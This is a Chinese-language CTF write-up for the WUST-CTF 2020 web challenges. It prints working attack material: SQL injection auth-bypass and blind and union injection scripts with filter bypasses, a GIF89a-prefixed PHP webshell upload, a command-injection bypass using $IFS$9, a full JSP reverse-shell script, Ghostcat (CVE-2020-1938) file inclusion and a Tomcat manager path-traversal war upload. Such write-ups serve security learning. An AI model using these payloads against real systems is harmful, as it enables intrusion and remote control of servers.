• [WUST-CTF]Web WriteUp


    周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的。最后有幸拿了总排第5,记录一下Web的题解。

    checkin

    进入题目询问题目作者昵称,在题面里可以看到是52HeRtz,但是发现题目输入框只能输入3个字符,并且按钮是灰色的

    直接F12审查元素去掉maxlength以及disable两个属性,输入作者昵称即可

     弹出作者的博客地址,跟进去

     

    在作者博客首页可以看到一部分Flag:

    根据提示“远古的博客”,找到一篇1970年的文章,文章末尾有后半段Flag:

    Here is your flag: 5_a_c@nner_can_Can_@_can}

    得到Flag:

    wctf2020{can_y0u_can_a_can_a5_a_c@nner_can_Can_@_can}

    admin

    进入题目后发现是一个登陆界面,尝试万能密码登陆成功:  admin@1' or 1=1#  
    进入http://101.200.53.102:12333/adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php页面
    提示必须本地ip才能访问,添加XFF头:  X-Forwarded-For: 127.0.0.1  
    又提示用GET方式传一个参数ais, 值为520,GET传值:  ?ais=520  
    又提示用POST方式传一个参数wust, 值为1314,POST传值:  wust=1314 
    最后得到:你离flag已经很近了,网址给你了: 4dz aste.ubuntu.com/p/ https://p Rqr cSf2 
    访问后Base64解码得到Flag:
    wctf2020{n0w_you_kn0w_the_basic_0f_sql_and_http}

    CV Maker

    进入题目发现是一个CMS,随便注册一个账号进入个人主页,发现有上传点:

    这个按钮很僵硬,直接上传php文件(这里发现没有过滤,有点困惑),但是后端有 exif_imagetype()验证,直接在文件头添加GIF89a上传得到Shell

    连接Shell,发现根目录下有/readflag,运行得到Flag:

     Flag:

    wctf2020{congratulation_upl0ad_to_getShe1111111}

    朴实无华

    进入题目什么都没有,根据“人间极乐bot”字样猜测Robots.txt文件中有hint:

    User-agent: *
    Disallow: /fAke_f1agggg.php

    根据提示进入/fAke_f1agggg.php,在Header中发现fl4g.php,访问得到源码:

    <?php 
    header('Content-type:text/html;charset=utf-8'); 
    error_reporting(0); 
    highlight_file(__file__); 
     
     
    //level 1 
    if (isset($_GET['num'])){ 
        $num = $_GET['num']; 
        if(intval($num) < 2020 && intval($num + 1) > 2021){ 
            echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; 
        }else{ 
            die("金钱解决不了穷人的本质问题"); 
        } 
    }else{ 
        die("去非洲吧"); 
    } 
    //level 2 
    if (isset($_GET['md5'])){ 
       $md5=$_GET['md5']; 
       if ($md5==md5($md5)) 
           echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; 
       else 
           die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); 
    }else{ 
        die("去非洲吧"); 
    } 
     
    //get flag 
    if (isset($_GET['get_flag'])){ 
        $get_flag = $_GET['get_flag']; 
        if(!strstr($get_flag," ")){ 
            $get_flag = str_ireplace("cat", "wctf2020", $get_flag); 
            echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; 
            system($get_flag); 
        }else{ 
            die("快到非洲了"); 
        } 
    }else{ 
        die("去非洲吧"); 
    } 
    ?> 

    第一层:利用PHP弱类型 num=202.0e8

    官方Wp解析:这个比较常见了,intval() 在处理16进制时存在问题,但强制转换时是正常的,intval(字符串)为0,但是intval(字符串+1) 会自动转换成数值的,php7里面修复了这个东西,这里输入 0x1234 即可绕过。

    第二层:爆破Md5,要求明文必须为0e开头,md5值必须为0e开头,并且0e后必须为纯数字,写个脚本慢慢爆破吧:

    import hashlib
    def md5_enc(s):
        m = hashlib.md5()
        m.update(str(s).encode('utf-8'))
        return m.hexdigest()
    
    for i in range(0,9999999999):
        i = '0e' + str(i)
        enc = md5_enc(i)
        print(i+" md5 is "+enc)
        #md5值前两位为0e
        if enc[:2] == "0e":
            #md5值0e后为纯数字
            if enc[2:].isdigit():
                result.append(i)
                print("Got Result:"+i)
                break

    跑了40分钟得到一个值:md5 = 0e215962017

     第三层:可以用的方式绕过对Cat的检测,用 $IFS$9 来代替空格(也可以用more head等语句代替cat读取文件,方法太多)

    ca	$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

    得到Flag:

    wctf2020{s1mple_php_1s_v3ry_e@sy_and_here_1s_y0ur_stupid_flag_wish_u_h@ve_@_go0d_time_enj0y_1t} 

    easyweb

    进入题目发现是一个可以上传文件并下载的网站:

    简单测试一下发现是Tomcat/8.5.42,并且8009端口开放,很容易联想到前段时间爆出的tomcat幽灵猫(GhostCat) CVE-2020-1938.

    最大的难点在于exp脚本大多都是文件读取的,没有文件包含的比较少,分享一个:

    链接:https://pan.baidu.com/s/101wFmK1J0OGYRC383fdBBA

    提取码:xg4s

    利用思路就是在12121端口的上传点传入jsp木马,然后再利用幽灵猫的exp从8009端口包含jsp木马,包含的时候木马也就会被服务器解析,从而GetShell

    分享一个队里师傅用的反弹Shell的jsp脚本:

    <%@page import="java.lang.*"%>
    <%@page import="java.util.*"%>
    <%@page import="java.io.*"%>
    <%@page import="java.net.*"%>
    
    <%
      class StreamConnector extends Thread
      {
        InputStream pp;
        OutputStream qk;
    
        StreamConnector( InputStream pp, OutputStream qk )
        {
          this.pp = pp;
          this.qk = qk;
        }
    
        public void run()
        {
          BufferedReader qe  = null;
          BufferedWriter ihb = null;
          try
          {
            qe  = new BufferedReader( new InputStreamReader( this.pp ) );
            ihb = new BufferedWriter( new OutputStreamWriter( this.qk ) );
            char buffer[] = new char[8192];
            int length;
            while( ( length = qe.read( buffer, 0, buffer.length ) ) > 0 )
            {
              ihb.write( buffer, 0, length );
              ihb.flush();
            }
          } catch( Exception e ){}
          try
          {
            if( qe != null )
              qe.close();
            if( ihb != null )
              ihb.close();
          } catch( Exception e ){}
        }
      }
    
      try
      {
        String ShellPath;
    if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
      ShellPath = new String("/bin/sh");
    } else {
      ShellPath = new String("cmd.exe");
    }
    
        Socket socket = new Socket( "IP", 6666 );
        Process process = Runtime.getRuntime().exec( ShellPath );
        ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
        ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
      } catch( Exception e ) {}
    %>

    执行效果如下:

     (想复现的时候环境出了问题,反弹Shell会连接重置,所以直接从官方Wp借了一张图)

    可以在根目录上找到 flaaaag 目录,目录里有 what_you_want 文件,执行命令 cat /flaaaag/what_you_want 即可读到flag:

    wctf2020{0h_you_are_amazing_babyyyy}

    颜值成绩查询

    进入题目发现是一个查询成绩的页面,明显的SQL注入:

      fuzz了一下发现过滤了 空格、union 

    简单绕过,用/**/替代空格,双写union即可绕过过滤,贴上队里forever404师傅的exp:

    #database = ctf
    #table_one = flag
    #table_two = score
    #column_one = flag
    #column_two = value
    import requests
    url = 'http://101.200.53.102:10114/?stunum=0/**/or/**/ascii(substr((select/**/value/**/from/**/flag),{},1))={}#'
    flag = ''
    for m in range(1,50):
        for n in range(48,126):
            res = requests.get(url.format(m,n))
            if 'admin' in res.text:
                flag += chr(n)
                print(chr(n))
                break
        if n==125 and 'admin' not in res.text:
            break
    print(flag)

    也可以联合注入:

    数据库:0/**/uniunionon/**/select/**/1,database(),version()#
    表:0/**/uniunionon/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
    列名:0/**/uniunionon/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167#
    字段:0/**/uniunionon/**/select/**/1,flag,value/**/from/**/flag#

    得到Flag:

    wctf2020{e@sy_sq1_and_y0u_sc0re_1t}

    train yourself to be godly

    本次比赛Web唯一没有做出来的一道题,但是就差最后一步,比赛结束了,有点遗憾,队里的guoke师傅最后10分钟成为了本题的唯一解出

    赛后复现一下,填满遗憾吧- -||

    这里放出队里guoke师傅的WriteUp(guoke别说我偷你wp了,注明作者了!!!):

    根据官方给出的BlackHat议题PPT可以得知利用 ..;/ 可以穿越目录:

     tomcat@tomcat弱口令进入manager/html 在进行用户名密码验证的时候。发现会返回一个cookie。但是后面请求又没有带上这个cookie。

    并且,在本地复现tomcat war包getshell时,发现HTTP请求中都带了HTTP authorxxxxx的认证 带上cookie和HTTP头认证后上传后发现还是403。

    猜测和返回cookie的path有关。因为正常情况。直接访问/manager返回path=/manager。而我是通过目录遍历访问的。所以将path也改为/..;/manager

    在部署的时候加上之前的SESSION,即可成功上传并访问木马:

    得到Flag:

    wctf2020{th1s_1s_th3_m0st_e@sy_web} 



  • 相关阅读:
    添加事件(jquery)
    闭包导致的问题
    学习之js绑定事件
    第二条 一个类如果有多个参数,考虑用Builder构造者模式
    用Intellij IDEA 创建第一个maven项目!
    OrderSessionHelper查看订单在session是否存在的辅助类
    css——overflow
    css——盒子
    css——外部样式
    css——权重叠加
  • 原文地址:https://www.cnblogs.com/yesec/p/12608971.html
Copyright © 2020-2023  润新知